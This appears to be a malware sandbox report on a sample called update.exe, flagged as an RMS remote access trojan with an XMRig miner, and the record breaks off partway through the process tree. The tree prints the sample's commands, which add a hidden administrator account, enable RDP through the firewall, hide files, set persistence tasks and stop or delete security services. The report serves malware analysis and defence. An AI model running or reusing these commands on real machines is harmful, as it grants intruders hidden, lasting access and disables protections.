Overview

overview

10

Static

static

10

mouse_2.exe

windows10-2004-x64

10

mouse_2.exe

windows11-21h2-x64

10

openme.exe

windows10-2004-x64

10

openme.exe

windows11-21h2-x64

10

senate.dll

windows10-2004-x64

10

senate.dll

windows11-21h2-x64

10

update.exe

windows10-2004-x64

10

update.exe

windows11-21h2-x64

10

wwf[1].exe

windows10-2004-x64

10

wwf[1].exe

windows11-21h2-x64

10

xNet.dll

windows10-2004-x64

1

xNet.dll

windows11-21h2-x64

1

전산 및...��.exe

windows10-2004-x64

10

전산 및...��.exe

windows11-21h2-x64

10

전산 및...�1.exe

windows10-2004-x64

10

전산 및...�1.exe

windows11-21h2-x64

3

Resubmissions

15/08/2026, 21:19

260815-z592tshg57

12/05/2026, 09:30

260512-lghqsah14t

12/05/2026, 09:29

260512-lf4a4ad17m

11/05/2026, 13:07

260511-qcln4aaw4z

09/05/2026, 21:41

260509-1j69gsdv7w10

09/05/2026, 21:41

260509-1jyx4sdv7s

19/04/2026, 22:54

260419-2vxd4aby7r

11/04/2026, 06:46

260411-hjw5eaas2p

25/03/2026, 09:51

260325-lvksascz5w10

22/02/2026, 15:16

260222-snsb5ab16e10

Analysis

  • max time kernel
    51s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/02/2026, 15:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    update.exe
  • Size 12.0MB
  • Sample260207-tcbexaes9d
  • SHA256 3e32145dca0843c6d5258129821afaaeb653ddef7982912fe85ad4b326807402
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
aspackv2defense_evasiondiscoveryexecutionrmsxmriglateral_movementminerpersistenceprivilege_escalationrattrojanupx

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies visibility of hidden/system files in Explorer 2 TTPs 1 IoCs
    defense_evasion
  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • Rms family
    rms
  • Windows security bypass 2 TTPs 1 IoCs
    defense_evasiontrojan
  • XMRig Miner payload 2 IoCs
    miner
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

    lateral_movement
  • Blocks application from running via registry modification 13 IoCs

    Adds application to list of disallowed applications.

    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 7 IoCs
    defense_evasion
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
    persistence
  • Sets file to hidden 1 TTPs 3 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    defense_evasion
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 18 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 56 IoCs
    discovery
  • Modifies visibility of existing users in the login screen 1 TTPs 3 IoCs

    A user account was hidden or made visible on the Windows login screen through a registry modification.

    defense_evasion
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 7 IoCs
    persistence
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

    discovery
  • AutoIT Executable 7 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 9 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 23 IoCs
  • Launches sc.exe 13 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 5 IoCs
    defense_evasion
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies registry class 6 IoCs
  • NTFS ADS 2 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 5 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\update.exe
    "C:\Users\Admin\AppData\Local\Temp\update.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Blocks application from running via registry modification
    • Checks computer location settings
    • Modifies visibility of existing users in the login screen
    • Modifies WinLogon
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3440
    • C:\ProgramData\Microsoft\Intel\wini.exe
      C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3576
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4500
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Programdata\Windows\install.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2036
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg1.reg"
            5⤵
            • Windows security bypass
            • Modifies visibility of existing users in the login screen
            • Runs .reg file with regedit
            PID:4716
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg2.reg"
            5⤵
            • Runs .reg file with regedit
            PID:1996
          • C:\Windows\SysWOW64\timeout.exe
            timeout 2
            5⤵
            • System Location Discovery: System Language Discovery
            • Delays execution with timeout.exe
            PID:4484
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /silentinstall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1900
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /firewall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:3972
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /start
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4136
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows\*.*
            5⤵
            • Views/modifies file attributes
            PID:4156
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows
            5⤵
            • Views/modifies file attributes
            PID:3884
          • C:\Windows\SysWOW64\sc.exe
            sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
            5⤵
            • Launches sc.exe
            PID:4644
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService obj= LocalSystem type= interact type= own
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3756
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService DisplayName= "Microsoft Framework"
            5⤵
            • Launches sc.exe
            PID:4132
      • C:\ProgramData\Windows\winit.exe
        "C:\ProgramData\Windows\winit.exe"
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3916
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4636
          • C:\Windows\SysWOW64\timeout.exe
            timeout 5
            5⤵
            • Delays execution with timeout.exe
            PID:2004
    • C:\programdata\install\cheat.exe
      C:\programdata\install\cheat.exe -pnaxui
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3172
      • C:\ProgramData\Microsoft\Intel\taskhost.exe
        "C:\ProgramData\Microsoft\Intel\taskhost.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • NTFS ADS
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4256
        • C:\Programdata\RealtekHD\taskhostw.exe
          C:\Programdata\RealtekHD\taskhostw.exe
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of SetWindowsHookEx
          PID:3884
        • C:\ProgramData\Microsoft\Intel\R8.exe
          C:\ProgramData\Microsoft\Intel\R8.exe
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:2328
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"
            5⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            PID:5320
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\rdp\pause.bat" "
              6⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:5748
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /f /im Rar.exe
                7⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1972
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /f /im Rar.exe
                7⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3620
              • C:\Windows\SysWOW64\timeout.exe
                timeout 3
                7⤵
                • Delays execution with timeout.exe
                PID:5636
              • C:\Windows\SysWOW64\chcp.com
                chcp 1251
                7⤵
                  PID:5176
                • C:\rdp\Rar.exe
                  "Rar.exe" e -p555 db.rar
                  7⤵
                  • Executes dropped EXE
                  PID:4908
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im Rar.exe
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5380
                • C:\Windows\SysWOW64\timeout.exe
                  timeout 2
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Delays execution with timeout.exe
                  PID:5452
                • C:\Windows\SysWOW64\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"
                  7⤵
                  • Checks computer location settings
                  PID:3776
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\rdp\bat.bat" "
                    8⤵
                      PID:3324
                      • C:\Windows\SysWOW64\reg.exe
                        reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
                        9⤵
                          PID:2096
                        • C:\Windows\SysWOW64\reg.exe
                          reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
                          9⤵
                            PID:3912
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
                            9⤵
                            • Modifies Windows Firewall
                            • Event Triggered Execution: Netsh Helper DLL
                            PID:6084
                          • C:\Windows\SysWOW64\net.exe
                            net.exe user "john" "12345" /add
                            9⤵
                            • System Location Discovery: System Language Discovery
                            PID:5136
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 user "john" "12345" /add
                              10⤵
                                PID:6032
                            • C:\Windows\SysWOW64\chcp.com
                              chcp 1251
                              9⤵
                                PID:5252
                              • C:\Windows\SysWOW64\net.exe
                                net localgroup "Администраторы" "John" /add
                                9⤵
                                  PID:5296
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 localgroup "Администраторы" "John" /add
                                    10⤵
                                      PID:2636
                                  • C:\Windows\SysWOW64\net.exe
                                    net localgroup "Administratorzy" "John" /add
                                    9⤵
                                      PID:1804
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 localgroup "Administratorzy" "John" /add
                                        10⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:1816
                                    • C:\Windows\SysWOW64\net.exe
                                      net localgroup "Administrators" John /add
                                      9⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:5504
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 localgroup "Administrators" John /add
                                        10⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:5580
                                    • C:\Windows\SysWOW64\net.exe
                                      net localgroup "Administradores" John /add
                                      9⤵
                                        PID:5144
                                        • C:\Windows\SysWOW64\net1.exe
                                          C:\Windows\system32\net1 localgroup "Administradores" John /add
                                          10⤵
                                            PID:5408
                                        • C:\Windows\SysWOW64\net.exe
                                          net localgroup "Пользователи удаленного рабочего стола" John /add
                                          9⤵
                                            PID:1976
                                            • C:\Windows\SysWOW64\net1.exe
                                              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
                                              10⤵
                                                PID:5264
                                            • C:\Windows\SysWOW64\net.exe
                                              net localgroup "Пользователи удаленного управления" John /add
                                              9⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:5516
                                              • C:\Windows\SysWOW64\net1.exe
                                                C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add
                                                10⤵
                                                  PID:2092
                                              • C:\Windows\SysWOW64\net.exe
                                                net localgroup "Remote Desktop Users" John /add
                                                9⤵
                                                • Remote Service Session Hijacking: RDP Hijacking
                                                PID:5804
                                                • C:\Windows\SysWOW64\net1.exe
                                                  C:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add
                                                  10⤵
                                                  • Remote Service Session Hijacking: RDP Hijacking
                                                  PID:5372
                                              • C:\Windows\SysWOW64\net.exe
                                                net localgroup "Usuarios de escritorio remoto" John /add
                                                9⤵
                                                  PID:5528
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" John /add
                                                    10⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:5392
                                                • C:\Windows\SysWOW64\net.exe
                                                  net localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                  9⤵
                                                    PID:6036
                                                    • C:\Windows\SysWOW64\net1.exe
                                                      C:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                      10⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:5964
                                                  • C:\rdp\RDPWInst.exe
                                                    "RDPWInst.exe" -i -o
                                                    9⤵
                                                    • Server Software Component: Terminal Services DLL
                                                    • Executes dropped EXE
                                                    • Modifies WinLogon
                                                    • Drops file in System32 directory
                                                    • Drops file in Program Files directory
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:5660
                                                    • C:\Windows\SYSTEM32\netsh.exe
                                                      netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                      10⤵
                                                      • Modifies Windows Firewall
                                                      • Event Triggered Execution: Netsh Helper DLL
                                                      PID:3460
                                                  • C:\rdp\RDPWInst.exe
                                                    "RDPWInst.exe" -w
                                                    9⤵
                                                      PID:3936
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f
                                                      9⤵
                                                        PID:2676
                                                      • C:\Windows\SysWOW64\net.exe
                                                        net accounts /maxpwage:unlimited
                                                        9⤵
                                                          PID:2488
                                                          • C:\Windows\SysWOW64\net1.exe
                                                            C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                                            10⤵
                                                              PID:2900
                                                          • C:\Windows\SysWOW64\attrib.exe
                                                            attrib +s +h "C:\Program Files\RDP Wrapper\*.*"
                                                            9⤵
                                                            • Sets file to hidden
                                                            • Views/modifies file attributes
                                                            PID:5832
                                                          • C:\Windows\SysWOW64\attrib.exe
                                                            attrib +s +h "C:\Program Files\RDP Wrapper"
                                                            9⤵
                                                            • Sets file to hidden
                                                            • Views/modifies file attributes
                                                            PID:5812
                                                          • C:\Windows\SysWOW64\attrib.exe
                                                            attrib +s +h "C:\rdp"
                                                            9⤵
                                                            • Sets file to hidden
                                                            • Views/modifies file attributes
                                                            PID:2400
                                                      • C:\Windows\SysWOW64\timeout.exe
                                                        timeout 2
                                                        7⤵
                                                        • Delays execution with timeout.exe
                                                        PID:3936
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\H.bat
                                                  4⤵
                                                  • Drops file in Drivers directory
                                                  PID:5220
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDControl" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST
                                                  4⤵
                                                  • System Location Discovery: System Language Discovery
                                                  • Scheduled Task/Job: Scheduled Task
                                                  PID:5484
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDStartUP" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST
                                                  4⤵
                                                  • Scheduled Task/Job: Scheduled Task
                                                  PID:5980
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                  4⤵
                                                  • Scheduled Task/Job: Scheduled Task
                                                  PID:380
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDControl" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST
                                              2⤵
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:4152
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDStartUP" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST
                                              2⤵
                                              • System Location Discovery: System Language Discovery
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:1544
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Taskhost" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC ONLOGON /RL HIGHEST
                                              2⤵
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:3516
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Taskhostw" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 2 /RL HIGHEST
                                              2⤵
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:3504
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc start appidsvc
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:2192
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc start appidsvc
                                                3⤵
                                                • Launches sc.exe
                                                • System Location Discovery: System Language Discovery
                                                PID:2420
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc start appmgmt
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:1088
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc start appmgmt
                                                3⤵
                                                • Launches sc.exe
                                                PID:3968
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc config appidsvc start= auto
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:3964
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc config appidsvc start= auto
                                                3⤵
                                                • Launches sc.exe
                                                PID:3324
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc config appmgmt start= auto
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:960
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc config appmgmt start= auto
                                                3⤵
                                                • Launches sc.exe
                                                PID:5108
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc delete swprv
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:784
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc delete swprv
                                                3⤵
                                                • Launches sc.exe
                                                PID:1368
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc stop mbamservice
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:2748
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc stop mbamservice
                                                3⤵
                                                • Launches sc.exe
                                                • System Location Discovery: System Language Discovery
                                                PID:4888
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:5044
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc stop bytefenceservice
                                                3⤵
                                                • Launches sc.exe
                                                • System Location Discovery: System Language Discovery
                                                PID:2092
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
                                              2⤵
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of WriteProcessMemory
                                              PID:4028
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc delete bytefenceservice
                                                3⤵
                                                • Launches sc.exe
                                                PID:1036
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc delete mbamservice
                                              2⤵
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of WriteProcessMemory
                                              PID:2944
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc delete mbamservice
                                                3⤵
                                                • Launches sc.exe
                                                • System Location Discovery: System Language Discovery
                                                PID:1568
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc delete crmsvc
                                              2⤵
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of WriteProcessMemory
                                              PID:1416
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc delete crmsvc
                                                3⤵
                                                • Launches sc.exe
                                                PID:540
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
                                              2⤵
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of WriteProcessMemory
                                              PID:4884
                                              • C:\Windows\SysWOW64\netsh.exe
                                                netsh advfirewall set allprofiles state on
                                                3⤵
                                                • Modifies Windows Firewall
                                                • Event Triggered Execution: Netsh Helper DLL
                                                PID:1816
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                              2⤵
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of WriteProcessMemory
                                              PID:3780
                                              • C:\Windows\SysWOW64\netsh.exe
                                                netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                3⤵
                                                • Modifies Windows Firewall
                                                • Event Triggered Execution: Netsh Helper DLL
                                                PID:1036
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:3516
                                              • C:\Windows\System32\Conhost.exe
                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                3⤵
                                                  PID:4888
                                                • C:\Windows\SysWOW64\netsh.exe
                                                  netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                  3⤵
                                                  • Modifies Windows Firewall
                                                  • Event Triggered Execution: Netsh Helper DLL
                                                  PID:768
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                2⤵
                                                • Suspicious use of WriteProcessMemory
                                                PID:4192
                                                • C:\Windows\SysWOW64\netsh.exe
                                                  netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                  3⤵
                                                  • Modifies Windows Firewall
                                                  • Event Triggered Execution: Netsh Helper DLL
                                                  PID:1684
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                2⤵
                                                  PID:1656
                                                  • C:\Windows\SysWOW64\netsh.exe
                                                    netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                    3⤵
                                                    • Modifies Windows Firewall
                                                    • Event Triggered Execution: Netsh Helper DLL
                                                    PID:3504
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny %username%:(OI)(CI)(F)
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:4524
                                                  • C:\Windows\SysWOW64\icacls.exe
                                                    icacls "C:\Program Files (x86)\Microsoft JDX" /deny Admin:(OI)(CI)(F)
                                                    3⤵
                                                    • Modifies file permissions
                                                    PID:5636
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                  2⤵
                                                    PID:1104
                                                    • C:\Windows\SysWOW64\icacls.exe
                                                      icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                      3⤵
                                                      • Modifies file permissions
                                                      • System Location Discovery: System Language Discovery
                                                      PID:5620
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny %username%:(OI)(CI)(F)
                                                    2⤵
                                                      PID:2608
                                                      • C:\Windows\SysWOW64\icacls.exe
                                                        icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Admin:(OI)(CI)(F)
                                                        3⤵
                                                        • Modifies file permissions
                                                        PID:5604
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                      2⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1568
                                                      • C:\Windows\SysWOW64\icacls.exe
                                                        icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                        3⤵
                                                        • Modifies file permissions
                                                        • System Location Discovery: System Language Discovery
                                                        PID:5680
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny %username%:(OI)(CI)(F)
                                                      2⤵
                                                        PID:4484
                                                        • C:\Windows\SysWOW64\icacls.exe
                                                          icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Admin:(OI)(CI)(F)
                                                          3⤵
                                                          • Modifies file permissions
                                                          • System Location Discovery: System Language Discovery
                                                          PID:5644
                                                      • C:\Windows\SysWOW64\cmd.exe
